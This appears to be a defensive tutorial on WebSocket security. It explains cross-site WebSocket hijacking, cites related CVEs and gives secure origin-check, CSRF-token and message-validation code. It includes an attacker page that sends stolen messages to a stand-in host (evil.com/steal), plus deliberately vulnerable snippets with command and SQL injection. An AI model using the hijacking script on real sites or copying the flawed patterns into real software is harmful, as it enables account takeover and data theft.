Back to Learning Center
highA01:2021CWE-346CWE-352CWE-1275

WebSocket Security

WebSockets enable real-time, bidirectional communication between browsers and servers, but they introduce unique security challenges. Unlike traditional HTTP requests, WebSocket connections can maintain persistent access to server resources, making Cross-Site WebSocket Hijacking (CSWSH) particularly dangerous as it allows attackers to establish hijacked connections that persist throughout an entire session.

Cross-Site WebSocket Hijacking (CSWSH)

CSWSH is a CSRF-like vulnerability that occurs when the WebSocket handshake relies solely on HTTP cookies for session handling without CSRF tokens or other unpredictable values. Unlike regular CSRF, CSWSH gives attackers bidirectional interaction with the vulnerable application through the hijacked connection.

How CSWSH Attacks Work

An attacker creates a malicious webpage that establishes a cross-site WebSocket connection to the vulnerable application using the victim's credentials (cookies). The application handles the connection in the context of the victim's session, allowing the attacker to send arbitrary messages and read responses.

html
<!-- Attacker's malicious page at evil.com -->
<script>
  // Connect to victim's WebSocket endpoint using victim's cookies
  const ws = new WebSocket('wss://vulnerable-app.com/api/ws');
  
  ws.onopen = () => {
    // Send commands as the authenticated user
    ws.send(JSON.stringify({
      action: 'deleteAccount'
    }));
    
    // Or exfiltrate data
    ws.send(JSON.stringify({
      action: 'getPrivateMessages'
    }));
  };
  
  ws.onmessage = (event) => {
    // Steal sensitive data from responses
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: event.data
    });
  };
</script>

Real-World CVEs

CVE-2021-1403: Cisco IOS XE

A vulnerability in Cisco IOS XE's web UI allowed unauthenticated remote attackers to conduct CSWSH attacks causing denial of service. The flaw exploited insufficient HTTP protections, corrupting device memory and forcing reloads when authenticated users visited crafted links.

CVE-2019-13209: Rancher Kubernetes

Rancher 2 through 2.2.4 was vulnerable to CSWSH allowing attackers to execute commands against Kubernetes clusters with the victim's permissions. The attack required the victim to be logged into Rancher and then visit the attacker's site.

Browser Security Evolution

Browser security improvements are slowly mitigating CSWSH attacks. Firefox's Total Cookie Protection now blocks many CSWSH attacks by default. However, Chrome and Edge remain vulnerable in default configurations as of 2025, making server-side protections essential.

Vulnerable WebSocket Patterns

Missing Origin Validation

javascript
// VULNERABLE: No origin check in WebSocket handler
const WebSocket = require('ws');
const wss = new WebSocket.Server({ server });

wss.on('connection', (ws, req) => {
  // Session extracted from cookies - no CSRF protection
  const session = getSessionFromCookie(req.headers.cookie);
  
  if (session) {
    // Attacker from evil.com can connect with victim's session!
    ws.on('message', (message) => {
      handleMessage(session.userId, message);
    });
  }
});

Weak Origin Validation

javascript
// VULNERABLE: Partial origin matching
wss.on('connection', (ws, req) => {
  const origin = req.headers.origin;
  
  // Bypassable: evil-app.company.com or app.company.com.evil.com
  if (origin.includes('app.company.com')) {
    acceptConnection(ws, req);
  }
});

// VULNERABLE: Regex without anchors
const allowedPattern = /company\.com/;
if (allowedPattern.test(origin)) {
  // Matches: evil-company.com, company.com.evil.com
  acceptConnection(ws, req);
}

Relying on SameSite Cookies

javascript
// DANGEROUS: Relying solely on SameSite for CSWSH protection
res.cookie('session', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'Lax'  // Provides some protection, but...
});

// Problem: Future code changes might set SameSite=None for
// legitimate cross-origin needs, silently enabling CSWSH
// Always implement explicit origin checks as defense in depth

WebSocket Message Injection

Beyond CSWSH, WebSocket messages themselves can be vectors for injection attacks if not properly validated:

javascript
// VULNERABLE: Server-side command injection
ws.on('message', (message) => {
  const data = JSON.parse(message);
  
  // Command injection via WebSocket message
  if (data.action === 'convert') {
    exec(`convert ${data.filename} output.png`);  // Vulnerable!
  }
});

// VULNERABLE: SQL injection via WebSocket
ws.on('message', async (message) => {
  const { userId } = JSON.parse(message);
  // SQL injection - userId not parameterized
  const user = await db.query(`SELECT * FROM users WHERE id = ${userId}`);
  ws.send(JSON.stringify(user));
});

Prevention Strategies

Strict Origin Validation

javascript
const ALLOWED_ORIGINS = new Set([
  'https://app.company.com',
  'https://www.company.com'
]);

wss.on('connection', (ws, req) => {
  const origin = req.headers.origin;
  
  // Strict origin check - exact match only
  if (!origin || !ALLOWED_ORIGINS.has(origin)) {
    ws.close(1008, 'Origin not allowed');
    return;
  }
  
  // Origin validated - proceed with connection
  handleConnection(ws, req);
});

CSRF Token in Handshake

javascript
// Client: Include CSRF token in WebSocket URL or first message
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
const ws = new WebSocket(`wss://api.company.com/ws?token=${csrfToken}`);

// Or send token as first message
ws.onopen = () => {
  ws.send(JSON.stringify({ type: 'auth', csrfToken }));
};

// Server: Validate token before accepting messages
wss.on('connection', (ws, req) => {
  const url = new URL(req.url, 'wss://api.company.com');
  const token = url.searchParams.get('token');
  
  if (!validateCSRFToken(token, req.headers.cookie)) {
    ws.close(1008, 'Invalid CSRF token');
    return;
  }
  
  // Token valid - connection is legitimate
  setupMessageHandler(ws, req);
});

Secure WebSocket Server Implementation

javascript
const WebSocket = require('ws');
const crypto = require('crypto');

const ALLOWED_ORIGINS = new Set(['https://app.company.com']);

function createSecureWebSocketServer(server) {
  const wss = new WebSocket.Server({
    server,
    verifyClient: ({ origin, req }, callback) => {
      // 1. Validate origin
      if (!origin || !ALLOWED_ORIGINS.has(origin)) {
        callback(false, 403, 'Forbidden');
        return;
      }
      
      // 2. Validate CSRF token from query string
      const url = new URL(req.url, `wss://${req.headers.host}`);
      const token = url.searchParams.get('csrf');
      
      if (!token || !validateCSRFToken(token, req)) {
        callback(false, 403, 'Invalid CSRF token');
        return;
      }
      
      callback(true);
    }
  });
  
  wss.on('connection', (ws, req) => {
    // 3. Authenticate session
    const session = getSessionFromCookie(req.headers.cookie);
    if (!session) {
      ws.close(1008, 'Unauthorized');
      return;
    }
    
    // 4. Set up rate limiting per connection
    const rateLimiter = createRateLimiter(100, 60000); // 100 msgs/min
    
    ws.on('message', (message) => {
      if (!rateLimiter.check()) {
        ws.close(1008, 'Rate limit exceeded');
        return;
      }
      
      // 5. Validate and sanitize message content
      try {
        const data = JSON.parse(message);
        const validated = validateMessageSchema(data);
        handleMessage(session, validated);
      } catch (err) {
        ws.send(JSON.stringify({ error: 'Invalid message format' }));
      }
    });
  });
  
  return wss;
}

Message Validation

javascript
const Joi = require('joi');

// Define strict schemas for WebSocket messages
const messageSchemas = {
  chat: Joi.object({
    type: Joi.string().valid('chat').required(),
    message: Joi.string().max(1000).required(),
    roomId: Joi.string().uuid().required()
  }),
  
  subscribe: Joi.object({
    type: Joi.string().valid('subscribe').required(),
    channels: Joi.array().items(Joi.string().alphanum()).max(10).required()
  })
};

function validateMessageSchema(data) {
  const schema = messageSchemas[data.type];
  
  if (!schema) {
    throw new Error('Unknown message type');
  }
  
  const { error, value } = schema.validate(data, {
    stripUnknown: true  // Remove unexpected fields
  });
  
  if (error) {
    throw new Error(`Validation failed: ${error.message}`);
  }
  
  return value;
}

Security Checklist

• Always validate the Origin header on WebSocket handshakes - exact match only

• Use CSRF tokens in handshake requests as additional protection

• Never rely solely on SameSite cookies - they may change in future updates

• Authenticate WebSocket connections the same as HTTP endpoints

• Validate and sanitize all WebSocket message content

• Use parameterized queries for any database operations

• Implement rate limiting per connection to prevent abuse

• Use WSS (WebSocket Secure) - never WS in production

• Implement connection timeouts and maximum connection limits

• Log and monitor WebSocket connections for anomalous patterns